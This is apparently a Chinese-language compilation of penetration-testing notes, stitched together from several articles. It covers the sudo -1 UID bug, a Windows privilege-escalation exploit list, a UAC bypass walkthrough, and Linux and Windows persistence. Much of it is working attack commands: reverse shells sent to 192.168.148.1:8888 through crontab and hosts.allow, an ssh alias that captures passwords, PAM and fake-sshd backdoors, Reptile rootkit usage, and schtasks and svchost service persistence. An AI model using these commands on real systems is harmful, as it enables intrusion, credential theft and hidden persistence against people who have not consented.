if (setresuid(details->uid, details->euid, details->euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"), details->uid,
details->euid);
goto done;
}
#elif defined(HAVE_SETREUID)
if (setreuid(details->uid, details->euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"),
(unsigned int)details->uid, (unsigned int)details->euid);
goto done;
}
#else
if (seteuid(details->euid) != 0 || setuid(details->euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"), details->uid,
details->euid);
goto done;
}
#endif /* !HAVE_SETRESUID && !HAVE_SETREUID */
/* Restore previous value of RLIMIT_NPROC. */
restore_nproc();
rval = true;
done:
debug_return_bool(rval);
}
通过源码分析
其中有三个函数可以设置用户权限
setresuid
setreuid
seteuid
其中的函数在root权限时参数可以改变为任何ID,
sudo程序最初会调用了setuid(root_uid)使程序的进程获得的root权限,通过前面的ls -l /usr/bin/sudo已经检验过了
所以这三个函数都能修改进程的用户所获得的权限。因为默认情况下sudo会将权限提升为root
在出现整数溢出的时候,-1或者4294967295则被判断为0返回为真,则使得权限升级为root。
调用setuid将我们的恶意用户设置为root,从而执行任意命令。
Debian:
sudo apt-get update & apt-get upgrade sudo apt-get upgrade sudo
RHEL:
yum update
yum update sudo
最后通过检查sudo的版本号是否大于等于1.8.29
sudo -V | grep 'Sudo version'
参考
https://www.sudo.ws/alerts/minus_1_uid.html
https://www.sudo.ws/sudo/man/1.8.2/sudoers.man.html
https://imbawenzi.github.io/2019/04/09/A%20guide%20to%20Linux%20Privilege%20Escalation-Linux提权指南/
anquanke.com/post/id/98628 ---详解Linux权限提升的攻击与防护
这两篇文章写得非常好,仔细看完就懂了…
微软官方时刻关注列表网址:
https://technet.microsoft.com/zh-cn/library/security/dn639106.aspx
地址更新为:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
KB2592799
KB3000061
KB2592799
...
快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799
KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904
KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i
"%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
注:以上需要在可写目录执行。需要临时生成micrpoor.txt,以上补丁编号请根据环境来增删
示例
一般实战中在类似 tmp 目录等可写目录下执行:C:\tmp>
exp注:
MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2)
MS09-050 [KB975517][Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066 [] [] (Windows 2000/XP/Server 2003)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
https://3gstudent.github.io/3gstudent.github.io/渗透技巧-Token窃取与利用/
https://www.xianfish.xyz/2020/01/04/Token窃取与利用/
https://edu.heibai.org/Micro8-渗透沉思录/第一百一十课:窃取,伪造模拟各种windows访问令牌[token利用].pdf
https://gogs.coooool.club/jee/MICRO/src/573628d1dd817622347dfab242af55bdebfd586b/第一百一十课:窃取,伪造模拟各种windows访问令牌[token利用].pdf
看完这四个文章,在复现下期中的一些原理,就摸透了Token窃取与利用!!!
1、漏洞简述
该漏洞位于Windows的UAC(User Account Control,用户账户控制)机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。因为用户可以与该UI交互,因此对UI来说紧限制是必须的。否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作。即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。事实上,UAC会话中含有尽可能少的点击操作选项。
利用程序:https://github.com/jas502n/CVE-2019-1388
2、影响范围
windows server 2019,2016,2012,2008,2008 R2
windows7,8.1,10
3、漏洞复现
本次复现版本是win7虚拟机
查看是否打了补丁
systeminfo>snowming.txt&(for %i in (KB4525235 KB4525233) do @type snowming.txt|@find /i "%i"|| @echo no this padding: %i)&del /f /q /a snowming.txt
将下载的程序放到win7虚拟机
以管理员身份运行该文件
点击颁发者右边的超链接,然后ie就是启动打开链接
此时,该网页以system权限运行
点击页面另存为
此时已经获取权限了
修改存放文件名,匹配system32下的文件,输入C:\Windows\System32\*.*
右击打开cmd,使用whoami查看当前权限
修复方案:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388
参考链接:
https://www.ajsafe.com/news/58.html
http://blog.leanote.com/post/snowming/38069f423c76
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388
复现有太多文章了,这里是经典的!!
1、漏洞介绍
某些程序使用root权限启动,如果第三方服务或者程序存在漏洞或者配置问题,可以被利用来获得root权限。
2、漏洞复现
如下图以tmux为例,通过查看进程,发现tmux以root权限启动。
(tmux是一个终端多路复用器:它使从单个屏幕创建,访问和控制多个终端成为可能。)
因为现在运行的这个tmux是root权限,只要连接到当前这个tmux,就可以获取到root权限。
通过查看历史命令记录可以发现,tmux 通过了-S参数指定了socket的路径
使用相同的方式连接SOCKET就可以获取root权限。
tmux -S /.devs/dev_sess
通过查看系统的应用,或者第三方应用,查找服务本身是否存在问题,或者是否配置存在问题,如大家常见的mysql udf提权!
权限提升参考总文章:
https://www.secpulse.com/archives/138197.html
alias
alias 命令可以设置别名
执行 ll 相当于执行 ls -l
alias ll=ls -l
ssh 后门设计
在管理员使用 ssh 时生效,后门将输入的 ssh 地址账号密码保存到 /tmp/sshpwd-date.log 中
strace 命令可以跟踪进程运行时,系统调用和接受的信号
alias ssh='strace -o /tmp/sshpwd-`date '+%Y-%m-%d-%H-%M-%S-%s'`.log -e read,write,connect -s2048 ssh'
计划任务
每隔 60 分钟执行一次,将 shell 反弹到 192.168.148.1:8888(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.148.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
TCP_Wrappers
TCP_Wrappers 是一个工作在应用层的安全工具
以 ssh 为例,每当有 ssh 的连接请求时,tcpd(Tcp Wrapper的守护进程)即会截获请求,
当请求满足配置文件中的规则,则放行,否则中断连接,配置文件中可设置匹配规则后执行命令
使用 ssh 连接目标服务器触发反弹 shell
echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/192.168.148.1/8888 0>&1") & :allow' > /etc/hosts.allow
PAM后门
PAM 是一种认证机制,提供一套统一的 API,可根据需要给不同的服务配置不同的认证方式
1)添加后门:
查看本地 PAM 版本
apt list --installed|grep pam
2)下载解压对应版本的 PAM 源码 http://www.linux-pam.org/library/
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -xzvf Linux-PAM-1.1.8.tar.gz
3)修改源码,添加后门代码
vim ./Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
cd Linux-PAM-1.1.8
编译 PAM 源码
./configure && make
备份原有 PAM 模块
mv /lib/x86_64-linux-gnu/security/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so.bak
使用新编译的 PAM 模块替换原有模块
cp ./modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
后门测试
使用添加的密码 test 登陆
当管理员登陆成功时,密码会被记录在 /etc/pam.txt 中
执行下面的命令后可使用任意密码 ssh 连接目标机器 8888 端口
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
后门比较隐蔽,没有开放额外的端口,只要对方开了 ssh 服务,就能远程连接
如果源端口是 8888 就直接反弹 shell,否则就把请求转发给真正的 ssh 服务
后门伪装成一个 perl 脚本,名为 sshd,位于 /usr/sbin/sshd,将系统原来的 sshd 移到 /usr/bin 下
创建后门
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^.."\xb8/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接后门
socat STDIO TCP4:192.168.148.128:22,sourceport=8888;
修改后门的端口
# python2
import struct
buffer = struct.pack('>I6',8888)
print(repr(buffer))
Rootkit 是一种特殊的后门,可以在目标机器上隐藏自身以及指定的文件,进程,网络连接信息
下面以一款开源 rootkit 为例,简单介绍一下它的用法以及功能特点
https://github.com/f0rb1dd3n/Reptile
目标机安装 Reptile
apt install libncurses-dev
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make menuconfig
make
make installapt-cache search linux
赋予非特权用户以 root 权限
/reptile/reptile_cmd root
隐藏显示文件,目录和内核模块
名称中具有关键字 reptile 的所有文件和文件夹将被隐藏,关键字可以在安装之前进行配置
/reptile/reptile_cmd hide
/reptile/reptile_cmd show
隐藏显示进程
/reptile/reptile_cmd conn <IP> hide
/reptile/reptile_cmd conn <IP> show
隐藏显示 TCP 和 UDP 连接
/reptile/reptile_cmd conn <IP> hide
/reptile/reptile_cmd conn <IP> show
文件内容篡改
标签之间的所有内容将被隐藏
#<reptile>
content to hide
#</reptile>
攻击机连接后门
攻击机安装运行控制端
apt install libreadline-dev
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make client
cd output
./client
使用攻击机的特定端口(666)给目标机任意端口发送特定数据(hax0r)
当目标机接收到这个数据后,按照配置反弹 shell(2333)
参考文章:https://cloud.tencent.com/developer/article/1666643
0x00 前言&场景
在红队中对于拿到的shell或钓上来的鱼,目前比较流行用CS做统一管理,但实战中发现CS官方没有集成一键权限维持的功能,收集的一些第三方开发的插件也大多不完善或者使用很麻烦,甚至有一些还有BUG导致我们以为成功了实际上却没有,最终丢掉了shell。
故基于此场景整理Windows环境中的持久化方法,后续将一些比较常用且便捷的操作整合成CS插件,确保在拿到shell的时候快速保住权限。
0x01 Startup目录
权限要求:提权不提权都可。
这是最常用也是最简单的权限维持了,放在该目录下的程序或快捷方式会在用户登录时自动运行,就不多说了。
NT6以后的目录如下:
对当前用户有效:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
对所有用户有效:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
NT6以前的目录如下:
对当前用户有效:
C:\Documents and Settings\Hunter\「开始」菜单\程序\启动
对所有用户有效:
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
0x02 注册键
权限要求:提权不提权都可。
Windows庞大的注册表以及相对不严格的权限管理给了我们很多做手脚的机会,其中注册表自启项是比较常用的持久化操作了。
注册表作为Windows的核心数据库,存储着系统和用户的很多关键信息。
Windows在注册表中提供了两套独立的路径,一个是上面提到的当前用户的“HKEY_CURRENT_USER”即“HKCU”,另一个就是针对当前用户物理状态的“HKEY_LOCAL_MACHINE”即“HKLM”,仅有特权账户可以对其进行修改。
随着安全意识的提高,目前在红队中搞到的Windows大多都是降权的。特别是钓鱼得到的PC机提权的意义不大,因为即使提权写了Administrator的启动项,用户下一次登录也还是进自己的账户,持久化就白做了。
整理Windows下的所有注册键如下:
1.Load注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
2.Userinit注册键
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序,如userinit.exe,evil.exe。
3.Explorer\Run注册键
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
4.RunServicesOnce注册键
RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunServicesOnce
5.RunServices注册键
RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices
6.RunOnce\Setup注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
7.RunOnce注册键
安装程序通常用RunOnce键自动运行程序,它的位置在
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[小于NT6]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前;HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。
8.Run注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。
写入注册键命令如下:
reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"
0x03 服务
权限要求:未降权的管理员权限。
创建服务是需要非降权管理员权限的,因此拿到shell后要用这种方法做维持首先要提权,但其优点是隐蔽性比注册键高(如用svchost的服务组加载DLL就可以隐藏掉恶意进程)。CMD和Powershell都可以用命令添加服务,样例如下:
sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"
这种直接通过cmd拉起的服务创建起来很简单。这里需要注意一个小坑:shellcodeloader主线程会阻塞导致服务启动时认为程序无响应而失败,因此必须用cmd拉起来,不能直接创建服务。服务正常启动后进程以SYSTEM权限在用户登录前运行。但缺点也很明显,恶意进程还是独立存在的,隐蔽性较差。如下图:
还有一类服务是通过svchost启动,由于Windows系统中的许多服务都是通过注入到该程序中启动(这也是官方认可的DLL注入动作),因此只要DLL本身免杀,杀毒软件就不会理会这种行为,并且由于恶意进程并不是独立存在的,隐蔽性相对较高。
但使用svchost加载服务就不是一行命令可以完成的,不仅需要自己做一个服务DLL,还需要额外在注册表中添加一些东西。由于64位系统有两套注册表和两套svchost,因此命令还有微小的不同。
32位系统命令如下:
sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync
64位系统中注册32位服务命令如下:
sc create TimeSync binPath= "C:\Windows\Syswow64\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync
64位系统命令如下:
sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:64
sc start TimeSync
注意这里有个大坑,使用“reg add”命令向注册表键中添加数据的时候是直接覆盖的,而“HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost”中的大多数的键都是REG_MULTI_SZ类型,即多行数据。因此千万不能直向已经存在的键中写入数据,系统启动所需要的服务都在里面,覆盖后会出大问题!(所以上面命令中是用的“netsvr”,这个键默认是不存在的)
0x04 计划任务
权限要求:未降权的管理员权限/普通用户。
计划任务也是一项很好的持久化利用点。不同于自启注册键和服务项,计划任务的设定方式更多样、灵活,位置也相对较为隐蔽(手工排查要多点几下)。比如,曾经在一线做安服的时候,有一阵子碰到闹得很凶的“驱动人生”挖矿木马其中的一个持久化方式就是在定时任务中创建了很多powershell脚本来做的持久化,它的stager直接以base64编码的方式写在计划任务的命令行参数中。那个输入框很短,对没有经验的工程师来说后面的内容就很容易没有看到而忽略掉。
Windows中有命令“SCHTASKS”用来管理计划任务,支持下面几个选项:
SCHTASKS /parameter [arguments]
描述:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
务。
参数列表:
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
在持久化过程中比较常用的命令是Create,由于参数相对较多因此复制到下面做参考:
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {
/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]
描述:
允许管理员在本地或远程系统上创建计划任务。
参数列表:
/S system 指定要连接到的远程系统。如果省略这个
系统参数,默认是本地系统。
/U username 指定应在其中执行 SchTasks.exe 的用户上下文。
/P [password] 指定给定用户上下文的密码。如果省略则
提示输入。
/RU username 指定任务在其下运行的“运行方式”用户
帐户(用户上下文)。对于系统帐户,有效
值是 ""、"NT AUTHORITY\SYSTEM" 或
"SYSTEM"。
对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和
"NT AUTHORITY\NETWORKSERVICE"以及常见的 SID
对这三个也都可用。
/RP [password] 指定“运行方式”用户的密码。要提示输
入密码,值必须是 "*" 或无。系统帐户会忽略该
密码。必须和 /RU 或 /XML 开关一起使用。
/RU/XML /SC schedule 指定计划频率。
有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、
MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
/MO modifier 改进计划类型以允许更好地控制计划重复
周期。有效值列于下面“修改者”部分中。
/D days 指定该周内运行任务的日期。有效值:
MON、TUE、WED、THU、FRI、SAT、SUN
和对 MONTHLY 计划的 1 - 31
(某月中的日期)。通配符“*”指定所有日期。
/M months 指定一年内的某月。默认是该月的第一天。
有效值: JAN、FEB、MAR、APR、MAY、JUN、
JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符
“*” 指定所有的月。
/I idletime 指定运行一个已计划的 ONIDLE 任务之前
要等待的空闲时间。
有效值范围: 1 到 999 分钟。
/TN taskname 指定唯一识别这个计划任务的名称。
/TR taskrun 指定在这个计划时间运行的程序的路径
和文件名。
例如: C:\windows\system32\calc.exe
/ST starttime 指定运行任务的开始时间。
时间格式为 HH:mm (24 小时时间),例如 14:30 表示
2:30 PM。如果未指定 /ST,则默认值为
当前时间。/SC ONCE 必需有此选项。
/RI interval 用分钟指定重复间隔。这不适用于
计划类型: MINUTE、HOURLY、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
有效范围: 1 - 599940 分钟。
如果已指定 /ET 或 /DU,则其默认值为
10 分钟。
/ET endtime 指定运行任务的结束时间。
时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM
。
这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
/DU duration 指定运行任务的持续时间。
时间格式为 HH:mm。这不适用于 /ET 和
计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
对于 /V1 任务,如果已指定 /RI,则持续时间默认值为
1 小时。
/K 在结束时间或持续时间终止任务。
这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
必须指定 /ET 或 /DU。
/SD startdate 指定运行任务的第一个日期。
格式为 yyyy/mm/dd。默认值为
当前日期。这不适用于计划类型: ONCE、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
/ED enddate 指定此任务运行的最后一天的日期。
格式是 yyyy/mm/dd。这不适用于计划类型:
ONCE、ONSTART、ONLOGON、ONIDLE。
/EC ChannelName 为 OnEvent 触发器指定事件通道。
/IT 仅有在 /RU 用户当前已登录且
作业正在运行时才可以交互式运行任务。
此任务只有在用户已登录的情况下才运行。
/NP 不储存任何密码。任务以给定用户的身份
非交互的方式运行。只有本地资源可用。
/Z 标记在最终运行完任务后删除任务。
/XML xmlfile 从文件的指定任务 XML 中创建任务。
可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含
主体时单独使用 /RP。
/V1 创建 Vista 以前的平台可以看见的任务。
不兼容 /XML。
/F 如果指定的任务已经存在,则强制创建
任务并抑制警告。
/RL level 为作业设置运行级别。有效值为
LIMITED 和 HIGHEST。默认值为 LIMITED。
/DELAY delaytime 指定触发触发器后延迟任务运行的
等待时间。时间格式为
mmmm:ss。此选项仅对计划类型
ONSTART, ONLOGON, ONEVENT.
/? 显示此帮助消息。
修改者: 按计划类型的 /MO 开关的有效值:
MINUTE: 1 到 1439 分钟。
HOURLY: 1 - 23 小时。
DAILY: 1 到 365 天。
WEEKLY: 1 到 52 周。
ONCE: 无修改者。
ONSTART: 无修改者。
ONLOGON: 无修改者。
ONIDLE: 无修改者。
MONTHLY: 1 到 12,或
FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
ONEVENT: XPath 事件查询字符串。
示例:
==> 在远程机器 "ABC" 上创建计划任务 "doc",
该机器每小时在 "runasuser" 用户下运行 notepad.exe。
SCHTASKS /Create /S ABC /U user /P password /RU runasuser
/RP runaspassword /SC HOURLY /TN doc /TR notepad
==> 在远程机器 "ABC" 上创建计划任务 "accountant",
在指定的开始日期和结束日期之间的开始时间和结束时间内,
每隔五分钟运行 calc.exe。
SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
/MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00
/SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword
==> 创建计划任务 "gametime",在每月的第一个星期天
运行“空当接龙”。
SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime
/TR c:\windows\system32\freecell
==> 在远程机器 "ABC" 创建计划任务 "report",
每个星期运行 notepad.exe。
SCHTASKS /Create /S ABC /U user /P password /RU runasuser
/RP runaspassword /SC WEEKLY /TN report /TR notepad.exe
==> 在远程机器 "ABC" 创建计划任务 "logtracker",
每隔五分钟从指定的开始时间到无结束时间,
运行 notepad.exe。将提示输入 /RP
密码。
SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
/MO 5 /TN logtracker
/TR c:\windows\system32\notepad.exe /ST 18:30
/RU runasuser /RP
==> 创建计划任务 "gaming",每天从 12:00 点开始到
14:00 点自动结束,运行 freecell.exe。
SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00
/ET 14:00 /K
==> 创建计划任务“EventLog”以开始运行 wevtvwr.msc
只要在“系统”通道中发布事件 101
SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT
/EC System /MO *[System/EventID=101]
==> 文件路径中可以加入空格,但需要加上两组引号,
一组引号用于 CMD.EXE,另一组用于 SchTasks.exe。用于 CMD
的外部引号必须是一对双引号;内部引号可以是一对单引号或
一对转义双引号:
SCHTASKS /Create
/tr "'c:\program files\internet explorer\iexplorer.exe'
\"c:\log data\today.xml\"" ...
“计划任务程序库”中也是有路径的,Windows初始状态在根目录中是没有计划任务的,如下图:
当然子目录中也是没有计划任务的:
计划任务都被放在了最内层目录里面,因此为了确保隐蔽性,我们也可以遵守Windows默认的规范在“\Microsoft\Windows\”下面新建我们的子目录和计划任务。示例命令如下:
SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe
无需登录即可收到beacon:
在进程树中,恶意进程是被taskeng.exe即任务计划程序引擎拉起的,隐蔽性弱于DLL服务,但强于自启注册键。
但是,大坑又来了,我们发现SCHTASKS命令功能并不完整,很多配置项是无法操作的,比如不支持同时创建多个触发器,不支持修改“条件”和“设置”选项卡中的功能。如下:
这些选项都是任务创建时的默认状态,也就是说我们的计划任务不会在睡眠唤醒时启动,断开交流电源自动停止,超过3天自动停止。而这些高级选项却不支持用命令行配置,查了一下微软社区,官方给的回复竟然是这样的:
哭笑不得…对于正常用户使用起来确实没问题,但对于红队来说,我们不方便操作GUI啊!当然也可以通过制作DLL模块或exe直接调用WINAPI来操作,但那还需要额外再上传一个文件,效率稍低。因此计划任务这个持久化的路子只能作为一个保险,并不能完全依赖。
